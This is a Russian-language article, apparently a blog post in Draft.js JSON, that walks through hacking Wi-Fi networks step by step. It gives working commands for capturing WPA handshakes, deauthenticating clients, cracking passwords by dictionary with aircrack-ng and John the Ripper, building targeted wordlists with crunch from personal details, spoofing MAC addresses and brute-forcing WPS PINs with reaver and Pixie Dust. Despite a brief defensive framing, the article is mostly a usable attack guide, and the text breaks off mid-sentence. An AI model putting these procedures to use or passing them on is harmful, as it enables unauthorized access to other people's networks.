{"draftJsState":{"blocks":[{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" В этой статье мы познакомимся с популярными методами взлома Wi-Fi сетей. Надеюсь после прочтения, вы сделает более безопасной свою сеть. Как говориться : предупрежден значит вооружен ) ","type":"unstyled","key":"aov3d"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":9,"offset":1,"style":"BOLD"}],"text":" WPA/WPA2.","type":"header-two","key":"46fa3"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":3,"offset":0,"style":"BOLD"},{"length":4,"offset":6,"style":"BOLD"},{"length":22,"offset":12,"style":"BOLD"}],"text":"WPA и WPA2 (Wi-Fi Protected Access) собственно это протокол авторизации и шифрования данных в Wi-Fi сетях. На данный момент это самый популярный, самый надежный протокол. Часто в домашних условиях и маленьких сетях используют WPA2-PSK(Pre-Shared Key). В начале 2018 года международный альянс Wi-Fi Alliance анонсировал новейший протокол беспроводной безопасности — WPA3.","type":"unstyled","key":"5hdo8"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Основной и самый популярный метод атаки на этот протокол является брутфорс(метод грубой силы, перебор паролей).","type":"unstyled","key":"fbh9s"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":10,"offset":0,"style":"BOLD"}],"text":"handshake.","type":"header-three","key":"dgbi2"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Для того, чтобы устройство получило маркер доступа в сеть, на устройстве необходимо ввести специальную парольную фразу, называемую Pre-Shared Key. Длина должна быть от 8 до 32 символов, притом можно использовать специальные символы, а также символы национальных алфавитов. После ввода парольной фразы она помещается в специальный пакет ассоциации (пакет обмена ключами, handshake), который передается на точку доступа. Если парольная фраза верна, то устройству выдается маркер доступа в сеть.","type":"unstyled","key":"275q4"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Уязвимостью является возможность перехвата пакетов handshake, в которых передается Pre-Shared Key при подключении устройства к сети. По скольку Pre-Shared key шифруется, у злоумышленника остается только одна возможность – атака грубой силой на захваченные пакеты. Также стоит обратить внимание, что для того, чтобы перехватить handshake злоумышленнику совсем не обязательно ждать того момента, как к сети будет подключено новое устройство. На некоторых беспроводных адаптерах, при использовании нестандартных драйверов, есть возможность посылки в сеть пакетов, которые будут прерывать сетевые соединения и инициировать новый обмен ключами в сети между клиентами и точкой доступа. В таком случае, для того, чтобы захватить требуемые пакеты, необходимо, чтобы к сети был подключен хотя бы один клиент.","type":"unstyled","key":"3h62n"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":6,"offset":0,"style":"BOLD"}],"text":"Взлом.","type":"header-three","key":"6qieg"},{"data":{},"depth":0,"entityRanges":[{"key":0,"length":11,"offset":29},{"key":1,"length":13,"offset":310}],"inlineStyleRanges":[{"length":10,"offset":30,"style":"BOLD"},{"length":12,"offset":311,"style":"BOLD"}],"text":"В наших примеров я использую Kali Linux (Kali Linux — GNU/Linux-LiveCD, возникший как результат слияния WHAX и Auditor Security Collection. Проект создали Мати Ахарони (Mati Aharoni) и Макс Мозер (Max Moser). Предназначен прежде всего для проведения тестов на безопасность). И пакет уже установленных программ Airocrack-ng (Это полный набор инструментов для оценки безопасности сети Wi-Fi.)","type":"unstyled","key":"96c8j"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Первым этапом нам надо перевести наш Wi-Fi адаптер в режим мониторинга. То есть чип адаптера переводиться в режим прослушивания эфира. Все пакеты которые отсылают друг другу в округе.","type":"unstyled","key":"b84lg"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Сначала мы убьем все процессы которые используют Wi-Fi интерфейс:","type":"unstyled","key":"biu9t"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":20,"offset":0,"style":"BOLD"}],"text":"airmon-ng check kill\n","type":"unstyled","key":"84f11"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Запустите беспроводной интерфейс в режиме мониторинга:","type":"unstyled","key":"240qa"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":21,"offset":0,"style":"BOLD"}],"text":"airmon-ng start wlan0","type":"unstyled","key":"2dfrt"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":8,"offset":45,"style":"BOLD"},{"length":8,"offset":135,"style":"BOLD"}],"text":"В результате у вас появиться новый интерфейс wlan0mon с ним дальше мы и будем работать (посмотреть доступные интерфейсы можно командой ifconfig ). Теперь мы можем посмотреть что же происходит вокруг:","type":"unstyled","key":"ba38d"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":20,"offset":0,"style":"BOLD"}],"text":"airodump-ng wlan0mon","type":"unstyled","key":"d31i0"},{"data":{"image":{"id":"5e961cb3faa668570a7a36f9"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"ffeuj"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":5,"offset":0,"style":"BOLD"}],"text":"BSSID — MAC адрес WI-Fi точки.","type":"unordered-list-item","key":"aemuf"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":3,"offset":0,"style":"BOLD"}],"text":"PWR — Сила сигнала.","type":"unordered-list-item","key":"anshh"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":7,"offset":0,"style":"BOLD"}],"text":"Beacons — Фрейм Бикон (Beacon frame) /Точка доступа WiFi периодически отправляет Биконы для анонсирования своего присутствия и предоставления необходимой информации (SSID, частотный канал, временные маркеры для синхронизации устройств по времени, поддерживаемые скорости, возможности обеспечения QoS и т.п.) всем устройствам в зоне ее покрытия. Радиокарты пользовательских устройств периодически сканируют все каналы 802.11 и слушают биконы, как основу для выбора лучшей точки доступа для ассоциации. Пользовательские устройства обычно не посылают биконы, за исключением ситуации, когда выполняется процедура участия в IBSS (Independent Basic Service Set) или, по другому, в одноранговом соединении типа Ad-hoc.","type":"unordered-list-item","key":"voqm"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":2,"offset":0,"style":"BOLD"}],"text":"CH — Номер канала точки доступа.","type":"unordered-list-item","key":"c0oga"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":5,"offset":0,"style":"BOLD"}],"text":"ENC- Используемый алгоритм. OPN = нет шифрования, «WEP?» = WEP или выше (недостаточно данных для выбора между WEP и WPA/WPA2), WEP (без знака вопроса) показывает статичный или динамичный WEP, и WPA или WPA2 если представлены TKIP или CCMP или MGT.","type":"unordered-list-item","key":"fq5t4"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":6,"offset":0,"style":"BOLD"}],"text":"CIPHER — Обнаруженный шифр. Один из CCMP, WRAP, TKIP, WEP, WEP40, или WEP104. Не обязательно, но обычно TKIP используется с WPA, а CCMP обычно используется с WPA2. WEP40 показывается когда индекс ключа больше 0. Стандартные состояния: индекс может быть 0-3 для 40 бит и должен быть 0 для 104 бит.","type":"unordered-list-item","key":"53b5e"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":6,"offset":0,"style":"BOLD"}],"text":"AUTH —Используемый протокол аутентификации. Один из MGT (WPA/WPA2 используя отдельный сервер аутентификации), SKA (общий ключ для WEP), PSK (предварительно согласованный ключ для WPA/WPA2) или OPN (открытый для WEP).","type":"unordered-list-item","key":"4bm7l"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":8,"offset":0,"style":"BOLD"}],"text":"ESSID — Так называемый SSID, который может быть пустым, если активировано сокрытие SSID. В этом случае airodump-ng попробует восстановить SSID из зондирующих запросов ассоциирования.","type":"unordered-list-item","key":"3e2bg"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":9,"offset":0,"style":"BOLD"}],"text":"STATION —MAC адрес каждой ассоциированной клиента подключенного к точке доступа. Клиенты, в настоящий момент не ассоциированные с точкой доступа, имеют BSSID «(not associated)».","type":"unordered-list-item","key":"lbj6"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":27,"offset":0,"style":"BOLD"}],"text":"Можете немного поиграться :","type":"header-three","key":"3fsf6"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":33,"offset":0,"style":"BOLD"},{"length":4,"offset":34,"style":"BOLD"},{"length":8,"offset":39,"style":"BOLD"},{"length":21,"offset":12,"style":"ITALIC"},{"length":4,"offset":34,"style":"ITALIC"}],"text":"airodump-ng —manufacturer —uptime —wps wlan0mon","type":"header-three","key":"8kbo7"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":8,"offset":51,"style":"BOLD"},{"length":15,"offset":122,"style":"BOLD"},{"length":9,"offset":152,"style":"BOLD"},{"length":6,"offset":181,"style":"BOLD"},{"length":8,"offset":51,"style":"UNDERLINE"},{"length":15,"offset":122,"style":"ITALIC"},{"length":9,"offset":152,"style":"ITALIC"},{"length":6,"offset":181,"style":"ITALIC"}],"text":"Запускаем airodump-ng для беспроводного интерфейса wlan0mon, кроме основной информации мы задаём отображать производителя (—manufacturer), время работы (—uptime) и информацию о WPS (—wps).","type":"unstyled","key":"4soc5"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":10,"offset":29,"style":"BOLD"},{"length":58,"offset":116,"style":"BOLD"}],"text":"Теперь нам надо перехватить handshake какой либо точки доступа, желательно конечно к которой подключены клиенты ). airodump-ng -c 1 —bssid C0:4A:00:F0:F4:24 -w WPA wlan0mon","type":"unstyled","key":"dcnms"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":11,"offset":0,"style":"BOLD"}],"text":"-c <номер> номер канал.","type":"unstyled","key":"e4rdi"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":12,"offset":0,"style":"BOLD"}],"text":"—bssid мас адрес точки доступа","type":"unstyled","key":"9atv5"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":21,"offset":0,"style":"BOLD"}],"text":"-w <имя или путь/имя> файл в который будут сохранены все перехваченные пакты.","type":"unstyled","key":"b71v1"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":8,"offset":0,"style":"BOLD"}],"text":"wlan0mon Название беспроводного интерфейса интерфейса.","type":"unstyled","key":"hpkg"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"После удачного захвата рукопожатий в правом углу будет надпись WPA handshake","type":"unstyled","key":"50itd"},{"data":{"image":{"id":"5e961cb30ff3ce2ef64474b1"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"49deg"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"К стати мы можем попытаться ускорить процесс , заставив клиента переподключиться к точки доступа :","type":"unstyled","key":"fj7bd"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":74,"offset":0,"style":"BOLD"}],"text":"aireplay-ng —deauth 100 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon","type":"unstyled","key":"rrm7"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":25,"offset":0,"style":"BOLD"}],"text":"—deauth <число сообщений> — отправка запроса деаунтифицировать. (0 не ограниченное число пакетов)","type":"unstyled","key":"c0mmm"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":8,"offset":0,"style":"BOLD"}],"text":"-a — Мас адрес точки доступа.","type":"unstyled","key":"49mtn"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":10,"offset":0,"style":"BOLD"}],"text":"-с — Мас адрес клиента.","type":"unstyled","key":"id4p"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":8,"offset":0,"style":"BOLD"}],"text":"wlan0mon — интерфейс.","type":"unstyled","key":"4qp2u"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Другие виды атак :","type":"unstyled","key":"7hd0a"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" --fakeauth задержка : фальшивая аутентификация с ТД (-1) --interactive : интерактивный выбор фреймов (-2) --arpreplay : стандартная повторная отправка запросов ARP (-3) --chopchop : расшифровать/порубить WEP пакет (-4) --fragment : сгенерировать валидный поток ключей (-5) --caffe-latte : запросить клиента на новые IVs (-6) --cfrag : фрагментирование в отношении клиента (-7) --migmode : атаки режим миграции WPA (-8) --test : тест возможности инжекта и качества соединения (-9). ","type":"unstyled","key":"dquml"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Теперь нам надо расшифровать его и узнать PSK:","type":"unstyled","key":"5f2jt"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":57,"offset":0,"style":"BOLD"}],"text":"aircrack-ng -w wordlist.dic -b C0:4A:00:F0:F4:24 WPA.cap","type":"unstyled","key":"10hgv"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":22,"offset":0,"style":"BOLD"}],"text":"-w <путь/файл словаря> — Указываем словарь для перебора паролей.","type":"unstyled","key":"2uhqc"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":8,"offset":0,"style":"BOLD"}],"text":"-b — Мас адрес точки доступа.","type":"unstyled","key":"e7pi1"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":7,"offset":0,"style":"BOLD"}],"text":"WPA.cap — Файл с handshake.","type":"unstyled","key":"5vt93"},{"data":{"image":{"id":"5e961cb3539dae4595bdb28a"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"1cd3t"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":12,"offset":0,"style":"BOLD"},{"length":16,"offset":174,"style":"BOLD"}],"text":"aircrack-ng всем хорош, но у него нету функции паузы и запоминания места где вы остановились. Это очень не удобно когда у вас огромный словарь ) Мы это справим программой John The Ripper (свободная программа, предназначенная для восстановления паролей по их хешам. Основное назначение программы — аудит слабых паролей в UNIX системах путем перебора возможных вариантов.Она уже есть в дистрибутиве). ","type":"unstyled","key":"d87cp"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":96,"offset":0,"style":"BOLD"}],"text":"john —session=foo —stdout —wordlist=wordlist.dic | aircrack-ng -w — -b 00:11:22:33:44:55 WPA.cap\n","type":"unstyled","key":"oic7"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":12,"offset":76,"style":"BOLD"}],"text":"То есть мы будем брать пароли из словаря этой программной и направлять их в aircrack-ng.","type":"unstyled","key":"978o0"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":8,"offset":0,"style":"BOLD"}],"text":"—session — Имя сессии.","type":"unstyled","key":"ckave"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":8,"offset":0,"style":"BOLD"}],"text":"— stdout — Путь к словарю.","type":"unstyled","key":"b5msp"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":1,"offset":26,"style":"BOLD"},{"length":6,"offset":32,"style":"BOLD"}],"text":"Для паузы нам надо нажать q или ctrl+c. Программа создаст специальный файл с сессией и запомнит место где мы остановились. Продолжить сессию мы можем командой :","type":"unstyled","key":"f2c0f"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":65,"offset":0,"style":"BOLD"}],"text":"john —restore=foo | aircrack-ng -w — -b 00:11:22:33:44:55 WPA.cap","type":"unstyled","key":"33dra"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":24,"offset":0,"style":"BOLD"}],"text":"Создание своих словарей.","type":"header-three","key":"42vkv"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"При атаках типа брутфорс словари играют очень важную роль. Я думаю вы с легкость найдете в интернете куча всяких не понятных словарей. Но еще можно и нужно делать самому.","type":"unstyled","key":"9tpdt"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":6,"offset":72,"style":"BOLD"}],"text":"Для этого в дистрибутиве Kali Linux есть интересная утилита, называется Crunch. Синтаксис ее довольно прост:","type":"unstyled","key":"58hut"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":5,"offset":0,"style":"BOLD"}],"text":"min = минимальная длина пароля;","type":"unordered-list-item","key":"19bft"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":5,"offset":0,"style":"BOLD"}],"text":"max = максимальная длина;","type":"unordered-list-item","key":"8v9b1"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":12,"offset":0,"style":"BOLD"}],"text":"characterset = символы, которые будут использоваться для генерации паролей;","type":"unordered-list-item","key":"5m2q5"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":14,"offset":0,"style":"BOLD"}],"text":"-t = возможность создавать паттерны. Давай на примере. Скажем, ты знаешь, что у человека день рождения 28 июля и эти цифры есть в пароле вида 0728, но перед этим числом есть еще какие-то символы. Поэтому ты пишешь что-то вроде @@@@@@@0728, и получается, что лист будет сгенерирован на 11 -значный пароль. Семь символов, которые будут генериться, а четыре будут фиксированными. По мне, так весьма крутая и удобная фишка;","type":"unordered-list-item","key":"ep664"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":17,"offset":0,"style":"BOLD"}],"text":"-о = выходной файл для нашего листа.","type":"unordered-list-item","key":"b1rqs"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":4,"offset":0,"style":"BOLD"}],"text":"-p = перестановка.","type":"unordered-list-item","key":"24ekg"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":2,"offset":0,"style":"BOLD"}],"text":"-d — ограничение числа последовательно одинаковых символов.","type":"unordered-list-item","key":"8afkr"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":10,"offset":0,"style":"BOLD"}],"text":"crunch 4 8","type":"unstyled","key":"fp0o8"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Как сам понимаешь, кранч будет генерить пароли от 4 до 8 символов. Как видишь, ничего сложного, теперь давай что-нибудь поинтереснее:","type":"unstyled","key":"7o9ou"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":43,"offset":0,"style":"BOLD"}],"text":"crunch 6 8 1234567890 -о /гооt/wordlist.txt","type":"unstyled","key":"ecaj8"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Здесь будет сгенерирован словарь от 6 до 8 символов, в пароле только цифры и зальются они во внешний файл, что мы указали. Остается только воспользоваться получившимся словарем.","type":"unstyled","key":"6feo7"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":35,"offset":0,"style":"BOLD"}],"text":"crunch 1 1 -p Alex Company Position","type":"unstyled","key":"f7bhk"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Словарь состоит из всех возможных комбинаций слов Alex, Company и Position.","type":"unstyled","key":"edi2i"},{"data":{"image":{"id":"5e961cb3aa749e6d77b8f98c"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"72nvk"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":2,"offset":9,"style":"BOLD"}],"text":"Для тега -t есть шаблоны :","type":"unstyled","key":"apjgu"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"^ — спецсимволы.","type":"unordered-list-item","key":"5bedr"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"@ — буквы в нижнем регистре.","type":"unordered-list-item","key":"c1fag"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":", — буквы в верхнем регистре.","type":"unordered-list-item","key":"3ds09"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"% — цифры.","type":"unordered-list-item","key":"12o85"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":25,"offset":0,"style":"BOLD"}],"text":"Обход фильтра MAC адреса.","type":"header-three","key":"ddd91"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Иногда в точках доступа включают фильтрации по пользователе по MAC. Так вот, это совсем бесполезна штука.","type":"unstyled","key":"ehv06"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"В Linux системах вы можете свободно поменять ваш МАС адрес на любой:","type":"unstyled","key":"dht3f"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":19,"offset":0,"style":"BOLD"},{"length":41,"offset":20,"style":"BOLD"},{"length":17,"offset":62,"style":"BOLD"}],"text":"ifconfig wlan0 down\nifconfig wlan0 hw ether 00:11:22:AA:AA:AA\nifconfig wlan0 up","type":"unstyled","key":"5hcq2"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Предварительно нужно отключить любые mon-интерфейсы. Проверить, заработала ли подмена, можно вызвав ifconfig wlan0 — в строке Hwaddr должен быть указанный выше MAC.","type":"unstyled","key":"91lb"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Кроме того, в *nix есть macchanger — с его помощью можно выставить себе случайный MAC. Если поставить его в init.d, то неприятель будет совершенно сбит с толку, так как при каждой загрузке наш MAC будет другим (работает для любых проводных и беспроводных адаптеров, как и ifconfig).","type":"unstyled","key":"c7p2n"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":19,"offset":17,"style":"BOLD"},{"length":37,"offset":57,"style":"BOLD"},{"length":19,"offset":111,"style":"BOLD"}],"text":"# Случайный MAC:\nmacchanger -r wlan0\n# Определённый MAC:\nmacchanger -m 11:22:33:AA:BB:CC wlan0\n# Показать MAC:\nmacchanger -s wlan0","type":"unstyled","key":"f7npe"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"В Kali Linux есть база данных валидных MAC адресов:","type":"unstyled","key":"vefo"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"/var/lib/ieee-data/oui.txt","type":"unordered-list-item","key":"dmi7m"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"/var/lib/ieee-data/oui36.txt.","type":"unordered-list-item","key":"dhe52"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"/var/lib/ieee-data/iab.txt","type":"unordered-list-item","key":"f1vrv"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"/var/lib/ieee-data/mam.txt","type":"unordered-list-item","key":"1r3i"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"А обновить базу данных можно командой","type":"unstyled","key":"74p24"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":22,"offset":0,"style":"BOLD"}],"text":"airodump-ng-oui-update","type":"unstyled","key":"a0s7r"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":13,"offset":0,"style":"BOLD"}],"text":"Атака на WPS.","type":"header-three","key":"55m51"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":21,"offset":0,"style":"BOLD"}],"text":"Wi-Fi Protected Setup (защищённая установка), WPS — стандарт (и одноимённый протокол) полуавтоматического создания беспроводной сети Wi-Fi.","type":"unstyled","key":"c8j3q"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"В декабре 2011 Стефан Фибёк (англ. Stefan Viehböck) и Крейг Хеффнер (англ. Craig Heffner) рассказали о серьёзных прорехах в протоколе WPS. Оказалось, что если в точке доступа активирован WPS c PIN (который по умолчанию включен в большинстве роутеров), то подобрать PIN-код для подключения можно за считанные часы.","type":"unstyled","key":"9nd7k"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"PIN-код состоит из восьми цифр — следовательно, существует 108 (100 000 000) вариантов PIN-кода для подбора. Однако количество вариантов можно существенно сократить. Дело в том, что последняя цифра PIN-кода представляет собой контрольную сумму, которая можно вычислить на основании первых семи цифр. Таким образом количество вариантов уже сокращается до 107 (10 000 000).","type":"unstyled","key":"9hal9"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Авторизация по WPS предполагает отправку клиентом последовательности цифр PIN-кода и пакетов M4 или M6 и ответы на них от базовой станции. Если первые 4 цифры PIN-кода некорректны то получив их точка доступа отправит EAP-NACK сразу после получения M4, а если была ошибка в последних 3 цифрах правой части (8-ое число не считаем так как оно легко генерируется атакующим по формуле) — то после получения M6. Таким образом, недостаток протокола позволяет разделить PIN-код на две части, 4 начальные цифры и 3 последующие.","type":"unstyled","key":"2sp5a"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":10,"offset":133,"style":"BOLD"}],"text":"Также были обнаружены уязвимости в генераторе случайных чисел маршрутизаторов некоторых производителей. Уязвимость получила название pixie dust. Для уязвимых роутеров можно получить pin после первой попытки и оффлайн-брутфорса.","type":"unstyled","key":"73g0t"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":15,"offset":0,"style":"BOLD"}],"text":"АЛГОРИТМ АТАКИ:","type":"header-three","key":"7gt5e"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Переводим беспроводной интерфейс в режим монитора.","type":"unordered-list-item","key":"62f6g"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Ищем цели для атаки.","type":"unordered-list-item","key":"9q99h"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Проверяем на подверженность Pixie Dust.","type":"unordered-list-item","key":"26ll1"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Запускаем полный перебор, если предыдущие шаги не дали результата.","type":"unordered-list-item","key":"3n507"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Если получен ПИН, но не показан WPA пароль, то запускаем команды для получения пароля от Wi-Fi.","type":"unordered-list-item","key":"3i2ra"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":4,"offset":65,"style":"BOLD"},{"length":4,"offset":71,"style":"BOLD"}],"text":"Для поиска точек доступ можем воспользоваться удобной программой Wash. Wash — это утилита для идентификации точек доступа с включённым WPS. Она может искать с живого интерфейса и уже есть в Kali Linux.","type":"unstyled","key":"9r3ib"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"wash -i wlan0","type":"unstyled","key":"42l6r"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Или может сканировать список pcap файлов:","type":"unstyled","key":"c6ue8"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"wash -f capture1.pcap","type":"unstyled","key":"hhg1"},{"data":{"image":{"id":"5e961cb3bfc9630fd0a3500d"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"ffqtk"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":3,"offset":21,"style":"BOLD"},{"length":6,"offset":50,"style":"BOLD"}],"text":"Нас интересует опция Lck (No не блокирован WPS) и Vendor (производитель). Pixie Dust подвержены Ralink, Broadcom и Realtek.","type":"unstyled","key":"b7u86"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":6,"offset":75,"style":"BOLD"}],"text":"Перейдем к пункту Pixie Dust. Для проверки мы будем использовать программу reaver (Reaver предназначен для подборки пина WPS (Wifi Protected Setup) методом перебора. Уже есть в Kali Linux).","type":"unstyled","key":"b2aal"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":41,"offset":0,"style":"BOLD"}],"text":"reaver -i интерфейс -b MAC_адрес_точки -K","type":"unstyled","key":"h1js"},{"data":{"image":{"id":"5e961cb32d34573bbda1df2f"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"7dmr"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Как можно увидеть на скриншоте, Точка Доступа оказалась уязвимой, и получен её WPS пин.","type":"unstyled","key":"fkai7"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":2,"offset":101,"style":"BOLD"}],"text":"Теперь нам надо узнать пароль. Для получения пароля Wi-Fi сети вам нужно в Reaver использовать опцию -p, после которой указать известный ПИН.","type":"unstyled","key":"cjtfq"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":48,"offset":0,"style":"BOLD"}],"text":"reaver -i wlan0 -b EE:43:F6:CF:C3:08 -p 36158805","type":"unstyled","key":"dqvpj"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":17,"offset":0,"style":"BOLD"}],"text":"ВСЕ ПОШЛО НЕ ТАК!","type":"header-three","key":"fifcr"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Попробуем сразу вдарить молотком и запустим полный перебор пина.","type":"unstyled","key":"7jc80"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":32,"offset":0,"style":"BOLD"}],"text":"reaver -i интерфейс -b MAC_адрес","type":"unstyled","key":"5qu8n"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":2,"offset":148,"style":"BOLD"},{"length":3,"offset":152,"style":"BOLD"},{"length":4,"offset":160,"style":"BOLD"},{"length":1,"offset":204,"style":"BOLD"}],"text":"Перебор WPS пинов может идти 